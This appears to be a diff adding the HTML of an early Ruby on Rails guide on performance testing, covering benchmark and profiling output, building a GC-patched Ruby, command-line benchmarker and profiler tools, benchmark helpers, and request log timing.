+<div class="paragraph"><p>Mode : Benchmarking [<a href="#gc">Requires GC-Patched Ruby</a>]</p></div>
+<h3 id="_understanding_the_output">1.5. Understanding the output</h3>
+<div class="paragraph"><p>Performance tests generate different outputs inside <tt>tmp/performance</tt> directory depending on their mode and metric.</p></div>
+<h4 id="_benchmarking_2">1.5.1. Benchmarking</h4>
+<div class="paragraph"><p>In benchmarking mode, performance tests generate two types of outputs :</p></div>
+<h5 id="_command_line">Command line</h5>
+<div class="paragraph"><p>This is the primary form of output in benchmarking mode. Example :</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>BrowsingTest<span style="font-style: italic"><span style="color: #9A1900">#test_homepage (31 ms warmup)</span></span>
+ wall_time<span style="color: #990000">:</span> <span style="color: #993399">6</span> ms
+ memory<span style="color: #990000">:</span> <span style="color: #993399">437.27</span> KB
+ objects<span style="color: #990000">:</span> <span style="color: #993399">5514</span>
+ gc_runs<span style="color: #990000">:</span> <span style="color: #993399">0</span>
+ gc_time<span style="color: #990000">:</span> <span style="color: #993399">19</span> ms</tt></pre></div></div>
+<h5 id="_csv_files">CSV files</h5>
+<div class="paragraph"><p>Performance test results are also appended to <tt>.csv</tt> files inside <tt>tmp/performance</tt>. For example, running the default <tt>BrowsingTest#test_homepage</tt> will generate following five files :</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+BrowsingTest#test_homepage_gc_runs.csv
+</p>
+</li>
+<li>
+<p>
+BrowsingTest#test_homepage_gc_time.csv
+</p>
+</li>
+<li>
+<p>
+BrowsingTest#test_homepage_memory.csv
+</p>
+</li>
+<li>
+<p>
+BrowsingTest#test_homepage_objects.csv
+</p>
+</li>
+<li>
+<p>
+BrowsingTest#test_homepage_wall_time.csv
+</p>
+</li>
+</ul></div>
+<div class="paragraph"><p>As the results are appended to these files each time the performance tests are run in benchmarking mode, you can collect data over a period of time. This can be very helpful in analyzing the effects of code changes.</p></div>
+<div class="paragraph"><p>Sample output of <tt>BrowsingTest#test_homepage_wall_time.csv</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>measurement<span style="color: #990000">,</span>created_at<span style="color: #990000">,</span>app<span style="color: #990000">,</span>rails<span style="color: #990000">,</span>ruby<span style="color: #990000">,</span>platform
+<span style="color: #993399">0.00738224999999992</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-08T03<span style="color: #990000">:</span><span style="color: #993399">40</span><span style="color: #990000">:</span>29Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">0744148</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.110</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.0</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
+<span style="color: #993399">0.00755874999999984</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-08T03<span style="color: #990000">:</span><span style="color: #993399">46</span><span style="color: #990000">:</span>18Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">0744148</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.110</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.0</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
+<span style="color: #993399">0.00762099999999993</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-08T03<span style="color: #990000">:</span><span style="color: #993399">49</span><span style="color: #990000">:</span>25Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">0744148</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.110</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.0</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
+<span style="color: #993399">0.00603075000000008</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-08T04<span style="color: #990000">:</span><span style="color: #993399">03</span><span style="color: #990000">:</span>29Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">0744148</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.111</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.1</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
+<span style="color: #993399">0.00619899999999995</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-08T04<span style="color: #990000">:</span><span style="color: #993399">03</span><span style="color: #990000">:</span>53Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">0744148</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.111</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.1</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
+<span style="color: #993399">0.00755449999999991</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-08T04<span style="color: #990000">:</span><span style="color: #993399">04</span><span style="color: #990000">:</span>55Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">0744148</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.110</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.0</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
+<span style="color: #993399">0.00595999999999997</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-08T04<span style="color: #990000">:</span><span style="color: #993399">05</span><span style="color: #990000">:</span>06Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">0744148</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.111</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.1</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
+<span style="color: #993399">0.00740450000000004</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-09T03<span style="color: #990000">:</span><span style="color: #993399">54</span><span style="color: #990000">:</span>47Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">859e150</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.110</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.0</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
+<span style="color: #993399">0.00603150000000008</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-09T03<span style="color: #990000">:</span><span style="color: #993399">54</span><span style="color: #990000">:</span>57Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">859e150</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.111</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.1</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
+<span style="color: #993399">0.00771250000000012</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-09T15<span style="color: #990000">:</span><span style="color: #993399">46</span><span style="color: #990000">:</span>03Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">859e150</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.110</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.0</span><span style="color: #990000">.</span><span style="color: #993399">0</span></tt></pre></div></div>
+<h4 id="_profiling_2">1.5.2. Profiling</h4>
+<div class="paragraph"><p>In profiling mode, you can choose from four types of output.</p></div>
+<h5 id="_command_line_2">Command line</h5>
+<div class="paragraph"><p>This is a very basic form of output in profiling mode:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>BrowsingTest<span style="font-style: italic"><span style="color: #9A1900">#test_homepage (58 ms warmup)</span></span>
+ process_time<span style="color: #990000">:</span> <span style="color: #993399">63</span> ms
+ memory<span style="color: #990000">:</span> <span style="color: #993399">832.13</span> KB
+ objects<span style="color: #990000">:</span> <span style="color: #993399">7882</span></tt></pre></div></div>
+<h5 id="_flat">Flat</h5>
+<div class="paragraph"><p>Flat output shows the total amount of time spent in each method. <a href="http://ruby-prof.rubyforge.org/files/examples/flat_txt.html">Check ruby prof documentation for a better explanation</a>.</p></div>
+<h5 id="_graph">Graph</h5>
+<div class="paragraph"><p>Graph output shows how long each method takes to run, which methods call it and which methods it calls. <a href="http://ruby-prof.rubyforge.org/files/examples/graph_txt.html">Check ruby prof documentation for a better explanation</a>.</p></div>
+<h5 id="_tree">Tree</h5>
+<div class="paragraph"><p>Tree output is profiling information in calltree format for use by <a href="http://kcachegrind.sourceforge.net/html/Home.html">kcachegrind</a> and similar tools.</p></div>
+<h3 id="_tuning_test_runs">1.6. Tuning Test Runs</h3>
+<div class="paragraph"><p>By default, each performance test is run <tt>4 times</tt> in benchmarking mode and <tt>1 time</tt> in profiling. However, test runs can easily be configured.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/caution.png" alt="Caution" />
+</td>
+<td class="content">Performance test configurability is not yet enabled in Rails. But it will be soon.</td>
+</tr></table>
+</div>
+<h3 id="_performance_test_environment">1.7. Performance Test Environment</h3>
+<div class="paragraph"><p>Performance tests are run in the <tt>development</tt> environment. But running performance tests will set the following configuration parameters:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>perform_caching <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>mechanism <span style="color: #990000">=</span> <span style="color: #990000">:</span>require
+Rails<span style="color: #990000">.</span>logger<span style="color: #990000">.</span>level <span style="color: #990000">=</span> ActiveSupport<span style="color: #990000">::</span>BufferedLogger<span style="color: #990000">::</span>INFO</tt></pre></div></div>
+<div class="paragraph"><p>As <tt>ActionController::Base.perform_caching</tt> is set to <tt>true</tt>, performance tests will behave much as they do in the <tt>production</tt> environment.</p></div>
+<h3 id="gc">1.8. Installing GC-Patched Ruby</h3>
+<div class="paragraph"><p>To get the best from Rails performance tests, you need to build a special Ruby binary with some super powers - <a href="http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch">GC patch</a> for measuring GC Runs/Time and memory/object allocation.</p></div>
+<div class="paragraph"><p>The process is fairly straight forward. If you&#8217;ve never compiled a Ruby binary before, follow these steps to build a ruby binary inside your home directory:</p></div>
+<h4 id="_installation">1.8.1. Installation</h4>
+<div class="paragraph"><p>Compile Ruby and apply this <a href="http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch">GC Patch</a>:</p></div>
+<h4 id="_download_and_extract">1.8.2. Download and Extract</h4>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ mkdir rubygc
+<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ wget <span style="color: #990000">&lt;</span>download the latest stable ruby from ftp<span style="color: #990000">:</span>//ftp<span style="color: #990000">.</span>ruby-lang<span style="color: #990000">.</span>org/pub/ruby<span style="color: #990000">&gt;</span>
+<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ tar -xzvf <span style="color: #990000">&lt;</span>ruby-version<span style="color: #990000">.</span>tar<span style="color: #990000">.</span>gz<span style="color: #990000">&gt;</span>
+<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ cd <span style="color: #990000">&lt;</span>ruby-version<span style="color: #990000">&gt;</span></tt></pre></div></div>
+<h4 id="_apply_the_patch">1.8.3. Apply the patch</h4>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">[</span>lifo@null ruby-version<span style="color: #990000">]</span>$ curl http<span style="color: #990000">:</span>//rubyforge<span style="color: #990000">.</span>org/tracker/download<span style="color: #990000">.</span>php<span style="color: #990000">/</span><span style="color: #993399">1814</span><span style="color: #990000">/</span><span style="color: #993399">7062</span><span style="color: #990000">/</span><span style="color: #993399">17676</span><span style="color: #990000">/</span><span style="color: #993399">3291</span>/ruby186gc<span style="color: #990000">.</span>patch <span style="color: #990000">|</span> patch -p<span style="color: #993399">0</span></tt></pre></div></div>
+<h4 id="_configure_and_install">1.8.4. Configure and Install</h4>
+<div class="paragraph"><p>The following will install ruby in your home directory&#8217;s <tt>/rubygc</tt> directory. Make sure to replace <tt>&lt;homedir&gt;</tt> with a full patch to your actual home directory.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">[</span>lifo@null ruby-version<span style="color: #990000">]</span>$ <span style="color: #990000">.</span>/configure --prefix<span style="color: #990000">=/&lt;</span>homedir<span style="color: #990000">&gt;</span>/rubygc
+<span style="color: #990000">[</span>lifo@null ruby-version<span style="color: #990000">]</span>$ make <span style="color: #990000">&amp;&amp;</span> make install</tt></pre></div></div>
+<h4 id="_prepare_aliases">1.8.5. Prepare aliases</h4>
+<div class="paragraph"><p>For convenience, add the following lines in your <tt>~/.profile</tt>:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>alias gcruby='~/rubygc/bin/ruby'
+alias gcrake='~/rubygc/bin/rake'
+alias gcgem='~/rubygc/bin/gem'
+alias gcirb='~/rubygc/bin/irb'
+alias gcrails='~/rubygc/bin/rails'</tt></pre>
+</div></div>
+<h4 id="_install_rubygems_and_dependency_gems">1.8.6. Install rubygems and dependency gems</h4>
+<div class="paragraph"><p>Download <a href="http://rubyforge.org/projects/rubygems">Rubygems</a> and install it from source. Rubygem&#8217;s README file should have necessary installation instructions.</p></div>
+<div class="paragraph"><p>Additionally, install the following gems :</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+<tt>rake</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>rails</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>ruby-prof</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>rack</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>mysql</tt>
+</p>
+</li>
+</ul></div>
+<div class="paragraph"><p>If installing <tt>mysql</tt> fails, you can try to install it manually:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #990000">[</span>lifo@null mysql<span style="color: #990000">]</span>$ gcruby extconf<span style="color: #990000">.</span>rb --with-mysql-config
+<span style="color: #990000">[</span>lifo@null mysql<span style="color: #990000">]</span>$ make <span style="color: #990000">&amp;&amp;</span> make install</tt></pre></div></div>
+<div class="paragraph"><p>And you&#8217;re ready to go. Don&#8217;t forget to use <tt>gcruby</tt> and <tt>gcrake</tt> aliases when running the performance tests.</p></div>
+</div>
+<h2 id="_command_line_tools">2. Command Line Tools</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>Writing performance test cases could be an overkill when you are looking for one time tests. Rails ships with two command line tools that enable quick and dirty performance testing:</p></div>
+<h3 id="_benchmarker">2.1. benchmarker</h3>
+<div class="paragraph"><p><tt>benchmarker</tt> is a wrapper around Ruby&#8217;s <a href="http://ruby-doc.org/core/classes/Benchmark.html">Benchmark</a> module.</p></div>
+<div class="paragraph"><p>Usage:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/performance/benchmarker <span style="color: #990000">[</span><span style="font-weight: bold"><span style="color: #0000FF">times</span></span><span style="color: #990000">]</span> <span style="color: #FF0000">'Person.expensive_way'</span> <span style="color: #FF0000">'Person.another_expensive_way'</span> <span style="color: #990000">...</span></tt></pre></div></div>
+<div class="paragraph"><p>Examples:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/performance/benchmarker <span style="color: #993399">10</span> <span style="color: #FF0000">'Item.all'</span> <span style="color: #FF0000">'CouchItem.all'</span></tt></pre></div></div>
+<div class="paragraph"><p>If the <tt>[times]</tt> argument is omitted, supplied methods are run just once:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/performance/benchmarker <span style="color: #FF0000">'Item.first'</span> <span style="color: #FF0000">'Item.last'</span></tt></pre></div></div>
+<h3 id="_profiler">2.2. profiler</h3>
+<div class="paragraph"><p><tt>profiler</tt> is a wrapper around <a href="http://ruby-prof.rubyforge.org/">ruby-prof</a> gem.</p></div>
+<div class="paragraph"><p>Usage:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/performance/profiler <span style="color: #FF0000">'Person.expensive_method(10)'</span> <span style="color: #990000">[</span><span style="font-weight: bold"><span style="color: #0000FF">times</span></span><span style="color: #990000">]</span> <span style="color: #990000">[</span>flat<span style="color: #990000">|</span>graph<span style="color: #990000">|</span>graph_html<span style="color: #990000">]</span></tt></pre></div></div>
+<div class="paragraph"><p>Examples:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/performance/profiler <span style="color: #FF0000">'Item.all'</span></tt></pre></div></div>
+<div class="paragraph"><p>This will profile <tt>Item.all</tt> in <tt>RubyProf::WALL_TIME</tt> measure mode. By default, it prints flat output to the shell.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/performance/profiler <span style="color: #FF0000">'Item.all'</span> <span style="color: #993399">10</span> graph</tt></pre></div></div>
+<div class="paragraph"><p>This will profile <tt>10.times { Item.all }</tt> with <tt>RubyProf::WALL_TIME</tt> measure mode and print graph output to the shell.</p></div>
+<div class="paragraph"><p>If you want to store the output in a file:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/performance/profiler <span style="color: #FF0000">'Item.all'</span> <span style="color: #993399">10</span> graph <span style="color: #993399">2</span><span style="color: #990000">&gt;</span> graph<span style="color: #990000">.</span>txt</tt></pre></div></div>
+</div>
+<h2 id="_helper_methods">3. Helper methods</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a given piece of code. The method is called <tt>benchmark()</tt> in all the three components.</p></div>
+<h3 id="_model">3.1. Model</h3>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Project<span style="color: #990000">.</span>benchmark<span style="color: #990000">(</span><span style="color: #FF0000">"Creating project"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ project <span style="color: #990000">=</span> Project<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">"name"</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"stuff"</span><span style="color: #990000">)</span>
+ project<span style="color: #990000">.</span>create_manager<span style="color: #990000">(</span><span style="color: #FF0000">"name"</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"David"</span><span style="color: #990000">)</span>
+ project<span style="color: #990000">.</span>milestones <span style="color: #990000">&lt;&lt;</span> Milestone<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This benchmarks the code enclosed in the <tt>Project.benchmark("Creating project") do..end</tt> block and prints the result to the log file:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Creating project <span style="color: #990000">(</span><span style="color: #993399">185</span><span style="color: #990000">.</span>3ms<span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>Please refer to the <a href="http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336">API docs</a> for additional options to <tt>benchmark()</tt></p></div>
+<h3 id="_controller">3.2. Controller</h3>
+<div class="paragraph"><p>Similarly, you could use this helper method inside <a href="http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715">controllers</a></p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content"><tt>benchmark</tt> is a class method inside controllers</td>
+</tr></table>
+</div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> process_projects
+ <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">class</span></span><span style="color: #990000">.</span>benchmark<span style="color: #990000">(</span><span style="color: #FF0000">"Processing projects"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ Project<span style="color: #990000">.</span>process<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>project_ids<span style="color: #990000">])</span>
+ Project<span style="color: #990000">.</span>update_cached_projects
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<h3 id="_view">3.3. View</h3>
+<div class="paragraph"><p>And in <a href="http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715">views</a>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;% benchmark("Showing projects partial") do %&gt;</span>
+ <span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #009900">@projects</span> <span style="color: #990000">%&gt;</span>
+<span style="color: #FF0000">&lt;% end %&gt;</span></tt></pre></div></div>
+</div>
+<h2 id="_request_logging">4. Request Logging</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>Rails log files contain very useful information about the time taken to serve each request. Here&#8217;s a typical log file entry:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Processing ItemsController<span style="font-style: italic"><span style="color: #9A1900">#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET]</span></span>
+Rendering template within layouts<span style="color: #990000">/</span>items
+Rendering items<span style="color: #990000">/</span>index
+Completed <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> 5ms <span style="color: #990000">(</span>View<span style="color: #990000">:</span> <span style="color: #993399">2</span><span style="color: #990000">,</span> DB<span style="color: #990000">:</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="color: #990000">|</span> <span style="color: #993399">200</span> OK <span style="color: #990000">[</span>http<span style="color: #990000">:</span><span style="color: #FF6600">//0.0.0.0/</span>items<span style="color: #990000">]</span></tt></pre></div></div>
+<div class="paragraph"><p>For this section, we&#8217;re only interested in the last line:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Completed <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> 5ms <span style="color: #990000">(</span>View<span style="color: #990000">:</span> <span style="color: #993399">2</span><span style="color: #990000">,</span> DB<span style="color: #990000">:</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="color: #990000">|</span> <span style="color: #993399">200</span> OK <span style="color: #990000">[</span>http<span style="color: #990000">:</span><span style="color: #FF6600">//0.0.0.0/</span>items<span style="color: #990000">]</span></tt></pre></div></div>
+<div class="paragraph"><p>This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It&#8217;s safe to assume that the remaining 3 ms were spent inside the controller.</p></div>
+<div class="paragraph"><p>Michael Koziarski has an <a href="http://www.therailsway.com/2009/1/6/requests-per-second">interesting blog post</a> explaining the importance of using milliseconds as the metric.</p></div>
+</div>
+<h2 id="_useful_links">5. Useful Links</h2>
+<div class="sectionbody">
+<h3 id="_rails_plugins_and_gems">5.1. Rails Plugins and Gems</h3>
+<div class="ulist"><ul>
+<li>
+<p>
+<a href="http://rails-analyzer.rubyforge.org/">Rails Analyzer</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://www.flyingmachinestudios.com/projects/">Palmist</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://github.com/josevalim/rails-footnotes/tree/master">Rails Footnotes</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://github.com/dsboulder/query_reviewer/tree/master">Query Reviewer</a>
+</p>
+</li>
+</ul></div>
+<h3 id="_generic_tools">5.2. Generic Tools</h3>
+<div class="ulist"><ul>
+<li>
+<p>
+<a href="http://www.hpl.hp.com/research/linux/httperf">httperf</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://httpd.apache.org/docs/2.2/programs/ab.html">ab</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://jakarta.apache.org/jmeter">JMeter</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://kcachegrind.sourceforge.net/html/Home.html">kcachegrind</a>
+</p>
+</li>
+</ul></div>
+<h3 id="_tutorials_and_documentation">5.3. Tutorials and Documentation</h3>
+<div class="ulist"><ul>
+<li>
+<p>
+<a href="http://ruby-prof.rubyforge.org">ruby-prof API Documentation</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://railscasts.com/episodes/98-request-profiling">Request Profiling Railscast</a> - Outdated, but useful for understanding call graphs
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_commercial_products">6. Commercial Products</h2>
+<div class="sectionbody">
+<div class="paragraph"><p>Rails has been lucky to have three startups dedicated to Rails specific performance tools:</p></div>
+<div class="ulist"><ul>
+<li>
+<p>
+<a href="http://www.newrelic.com">New Relic</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://www.fiveruns.com">Fiveruns</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://scoutapp.com">Scout</a>
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_changelog">7. Changelog</h2>
+<div class="sectionbody">
+<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4">Lighthouse ticket</a></p></div>
